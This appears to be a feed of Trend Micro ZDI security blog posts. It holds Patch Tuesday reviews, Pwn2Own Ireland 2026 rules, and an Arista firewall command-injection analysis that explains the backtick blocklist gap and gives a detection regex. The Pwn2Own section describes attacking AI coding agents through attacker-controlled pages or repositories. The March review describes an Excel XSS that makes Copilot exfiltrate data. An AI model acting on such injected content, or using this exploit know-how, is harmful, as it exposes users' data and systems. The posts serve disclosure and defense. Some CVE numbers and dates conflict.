Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.

Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.

There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be.

Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls.

Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.

There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.

I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.

There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Pwn2Own Ireland 2026 – New Targets and Categories

Sat, 25 Jul 2026 19:02:51 +0200

If you just want to read the rules, you can find them here.

Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).

As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at pwn2own@trendmicro.com (note the address). We will be happy to address your issues or concerns directly.

Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules thoroughly to ensure you meet all the requirements.

Now on to this year’s target categories. We’ll have seven different categories for this year’s event:

-- Mobile Phones
-- Smart Home Devices
-- Wellness
-- Printers
-- Messaging
-- AI Infrastructure
-- AI Coding Agents

Let’s take a look at each category in more detail, starting with mobile phones.

The Target Phones

Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.

Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:

Back to top

Smart Home Devices

As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

Back to top

Wellness Category

This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

Back to top

Rage Against the Printers

Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets.

Back to top

The Messaging Category

We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:

Back to top

AI Infrastructure Category

We introduced these targets at Pwn2Own Berlin, and we saw such…uh…enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:

Back to top

AI Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

Back to top

Master of Pwn

No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick trophy, a different sort of wearable, and brings with it an additional 65,000 ZDI reward points (instant Platinum status in 2027).

For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.

The Complete Details

The full set of rules for Pwn2Own Ireland 2026 can be found here. They may be changed at any time without notice. We highly encourage potential entrants to read the rules thoroughly and completely should they choose to participate. We also encourage contestants to read this blog covering what to expect when participating in Pwn2Own.

Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.

The Results

We’ll be blogging and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at @thezdi and @trendaisecurity, and keep an eye on the #P2OIreland hashtag for continuing coverage.

We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.

©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

🚨 HACKER SONG 2025: Der Code ist das Schlachtfeld – Schützt euch vor dem Cyber-Knall! 🛡️

Sat, 25 Jul 2026 19:02:30 +0200

YouTube Video

🚨 HACKER SONG 2025 II (Remix): Der Code ist das Schlachtfeld – Schützt euch vor dem Cyber-Knall!

Sat, 25 Jul 2026 19:02:29 +0200

YouTube Video

CVE-2025-6978: Arbitrary Code Execution in the Arista NG Firewall

Sat, 25 Jul 2026 19:00:44 +0200

In this excerpt of a TrendAI Research Services vulnerability report, Jonathan Lein and Simon Humbert of the TrendAI Research team detail a recently patched command injection vulnerability in the Arista NG Firewall. This bug was originally discovered by Gereon Huppertz and reported through the TrendAI Zero Day Initiative (ZDI) program. Successful exploitation could result in arbitrary command execution under the security context of the root user. The following is a portion of their write-up covering CVE-2025-6798, with a few minimal modifications.

A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data in the diagnostics component.

A remote, authenticated attacker could exploit this vulnerability by sending crafted requests to the target server. Successful exploitation could result in arbitrary command execution under the security context of the root user.

The Vulnerability

Arista NG Firewall is an open-source firewall appliance. It was originally developed under the name Untangle. Some features of Arista Firewall include spam blocking, bandwidth control, and IPS, etc. NG Firewall can be managed through a web user interface, or a JSON-RPC API using HTTP.

HTTP is a request/response protocol described in RFCs 7230 - 7237 and other RFCs. A request is sent by a client to a server, which in turn sends a response back to the client. An HTTP request consists of a request line, various headers, an empty line, and an optional message body

where CRLF represents the new line sequence Carriage Return (CR) followed by Line Feed (LF). SP represents a space character. Parameters can be passed from the client to the server as name-value pairs in either the Request-URI, or in the message-body, depending on the Method used and Content-Type header. For example, a simple HTTP request passing a parameter named “param” with value “1”, using the GET method might look like:

A corresponding HTTP request using the POST method might look like:

If there is more than one parameter/value pair, they are encoded as '&'-delimited name=value pairs:

var1=value1&var2=value2&var3=value3...

The component relevant to this report is the JSON-RPC endpoint. A JSON object has the following syntax:

•            An object is enclosed in curly braces {}.
•            An object consists of zero or more items delimited by a comma (",") character.
•            An item consists of a key and a value. A key is delimited from its value by a colon (":") character.
•            A key must be a string (enclosed in quotes).
•            A value must be a valid type. Valid types include string, number, JSON object, array, Boolean, or null.
•            An array is an object enclosed in square braces []. An array consists of zero or more string, number, JSON object, array, Boolean or null type-objects delimited by a comma (",") character.

An example JSON object is as follows:

The following is an example of a JSON-RPC request to the runTroubleshooting() method that is relevant to this report:

A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data that is used in a command line. The runTroubleshooting() method of the class NetworkManagerImpl will be used to handle JSON-RPC requests to the runTroubleshooting method. The command parameter passed to the method will be the first element in the params JSON array in the body of the request. This value must be one of the strings in the TroubleshootingCommands enum defined in the NetworkManager class. The second parameter of the method will contain additional arguments passed to the JSON-RPC call.

The method will first iterate through each of the additional arguments and combine each key value pair into a single string, separated by a "=" character that will later be used as an environment variable. Next, a switch case statement is used to ensure the provided command is one of the values in TroubleshootingCommands. Each command value will be processed using the same code.

The method will next iterate through each environment variable, and inspect it for the following common command injection strings:

; & | > $(

If any are found, the request will be rejected, and an exception is thrown. If each environment variable is valid, the method execEvil() is called to create and execute a command line for the network-troubleshooting.sh script, with the environment variables passed as a parameter. The execEvil() method in turn will call Runtime.getRuntime().exec() to run the script, with the second parameter passing the environment variables that will be used by the script. Each command value will have a function in network-troubleshooting.sh, such as run_dns() for the “DNS” command value. Each function will follow a similar structure, by creating a CMD string using the environment variables passed by exec() and then calling eval to execute it.

However, the values of the parameters passed to the runTroubleshooting JSON-RPC method are not completely sanitized before it is used in the command line. While the parameters passed to the endpoint are inspected for some shell metacharacters, the list is incomplete. For example, the backtick character (`) is not included in the check and may be used to inject a command.

For example:

The example above will write and execute a python script on the server to achieve code execution without using any restricted characters.

A remote, authenticated attacker could exploit this vulnerability by sending a JSON-RPC request to the runTroubleshooting method containing a crafted “HOST” or “URL” parameter containing shell metacharacters not present in the runTroubleshooting() check. Successful exploitation in the worst case will result in arbitrary command execution under the security context of the root user.

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following ports:
- HTTP, over port 80/TCP
- HTTPS, over port 443/TCP

Traffic to Arista NG Firewall may be encrypted and must be decrypted prior to applying this guidance.

The detection device must search for HTTP POST requests made to the request-URI /admin/JSON-RPC. If found, the body of the request must be parsed as JSON. The JSON object in the body must be inspected for a method key, and its value must be inspected to contain the substring runTroubleshooting. If found, the object must also be inspected for the JSON key "params", with a value containing a JSON array. The first entry in the JSON array must be inspected for any of the following strings:

If found, the second entry in the array must be inspected for a JSON object, and inspected for any of the following keys:

If either is found, the corresponding value to the key must be inspected for any of the following command injection characters:

If found, the traffic should be treated as suspicious; an attack exploiting this vulnerability is likely underway.

The following regular expression can be applied to find malicious requests:

/\x22(HOST|URL)\x22\s*:\s*\x22(?:[^\x22\\]|\\.)*?[\x60\x27\x24\x3c]/

Notes:

• String matching on the request-URI and all JSON strings should be done in a case sensitive manner.
• The JSON strings may be encoded and must be decoded prior to applying this guidance.
• The request-URI may be URL-encoded and must be decoded before applying this guidance.

Conclusion

This vulnerability has been addressed by Arista with their Security Advisory 0123. They note that the Arista Edge Threat Management - Arista Next Generation Firewall (Formerly Untangle) is affected by this bug, but other product versions are not. They also state the following mitigation can be applied:

Do not allow non-authorized administrative access or access to the administrative browser.

However, the more appropriate action is to apply the provided vendor security patch by upgrading to version 17.4 or higher.

Special thanks to Jonathan Lein and Simon Humbert of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

The March 2026 Security Update Review

Sat, 25 Jul 2026 19:00:43 +0200

I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for March 2026

For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for Acrobat likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for Experience Manager is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for Commerce is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release.

The fix for Illustrator corrects seven bugs, including a few Critical-rated ones. The patch for Substance 3D Painter fixes nine different CVEs, all rated Important. That’s not the case for Substance 3D Stager, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the Adobe DNG Software Development Kit (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for March 2026

This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.

This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.

Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:

- CVE-2026-26144 - Microsoft Excel Information Disclosure Vulnerability
This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.

- CVE-2026-26110/CVE-2026-26113 - Microsoft Office Remote Code Execution Vulnerability
Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.

- CVE-2026-23669 - Windows Print Spooler Remote Code Execution Vulnerability
Just reading the title makes me twitch with remembrances of Print Nightmare from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.

- CVE-2026-23668 - Windows Graphics Component Elevation of Privilege Vulnerability
This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.

Here’s the full list of CVEs released by Microsoft for March 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-26127	.NET Denial of Service Vulnerability	Important	7.5	Yes	No	DoS
CVE-2026-21262	SQL Server Elevation of Privilege Vulnerability	Important	8.8	Yes	No	EoP
CVE-2026-23651	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-26124	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-26122	Microsoft ACI Confidential Containers Information Disclosure Vulnerability	Critical	6.5	No	No	Info
CVE-2026-21536	Microsoft Devices Pricing Program Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-26144	Microsoft Excel Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26110	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-26113	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-26125	Payment Orchestrator Service Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-26131	.NET Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25177	Active Directory Domain Services Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-26117	Arc Enabled Servers - Azure Connected Machine Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26130	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-23661	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-23662	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-23664	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-26121	Azure IOT Explorer Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-26118	Azure MCP Server Tools Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-23667	Broadcast DVR Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25190	GDI Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-25181	GDI+ Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-26030 *	GitHub: CVE-2026-26030 Microsoft Semantic Kernel InMemoryVectorStore filter functionality vulnerable	Important	9.9	No	No	RCE
CVE-2026-23654 *	GitHub: Zero Shot SCFoundation Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26141	Hybrid Worker Extension (Arc-enabled Windows VMs) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23665 †	Linux Azure Diagnostic extension (LAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23674	MapUrlToZone Security Feature Bypass Vulnerability	Important	7.5	No	No	SFB
CVE-2026-26123	Microsoft Authenticator Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26148 †	Microsoft Azure AD SSH Login extension for Linux Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-25167	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.4	No	No	EoP
CVE-2026-26107	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26108	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26109	Microsoft Excel Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-26112	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26134	Microsoft Office Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26106	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26114	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26105	Microsoft SharePoint Server Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-24283	Multiple UNC Provider Kernel Driver Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-25165	Performance Counters for Windows Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24282	Push message Routing Service Elevation of Privilege Vulnerability	Important	5.5	No	No	Info
CVE-2026-26115	SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-26116	SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-20967	System Center Operations Manager (SCOM) Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-24285	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24291	Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25186	Windows Accessibility Infrastructure (ATBroker.exe) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-23660 †	Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24293	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25176	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25178	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25179	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-23656	Windows App Installer Spoofing Vulnerability	Important	5.9	No	No	Spoofing
CVE-2026-25171	Windows Authentication Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-23671	Windows Bluetooth RFCOM Protocol Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24292	Windows Connected Devices Platform Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24295	Windows Device Association Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24296	Windows Device Association Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25189	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25174	Windows Extensible File Allocation Table Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25168	Windows Graphics Component Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-25169	Windows Graphics Component Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-23668	Windows Graphics Component Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25180	Windows Graphics Component Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-25170	Windows Hyper-V Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24297	Windows Kerberos Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-24287	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24289	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26132	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24288	Windows Mobile Broadband Driver Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-25175	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23669	Windows Print Spooler Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-24290	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23673	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25172	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-25173	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-26111	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-25185	Windows Shell Link Processing Spoofing Vulnerability	Important	5.3	No	No	Spoofing
CVE-2026-24294	Windows SMB Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26128	Windows SMB Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25166	Windows System Image Manager Assessment and Deployment Kit (ADK) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-25188	Windows Telephony Service Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-23672	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25187	Winlogon Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-3536 *	Chromium: CVE-2026-3536 Integer overflow in ANGLE	Critical	N/A	No	No	RCE
CVE-2026-3538 *	Chromium: CVE-2026-3538 Integer overflow in Skia	Critical	N/A	No	No	RCE
CVE-2026-3539 *	Chromium: CVE-2026-3539 Object lifecycle issue in DevTools	High	N/A	No	No	RCE
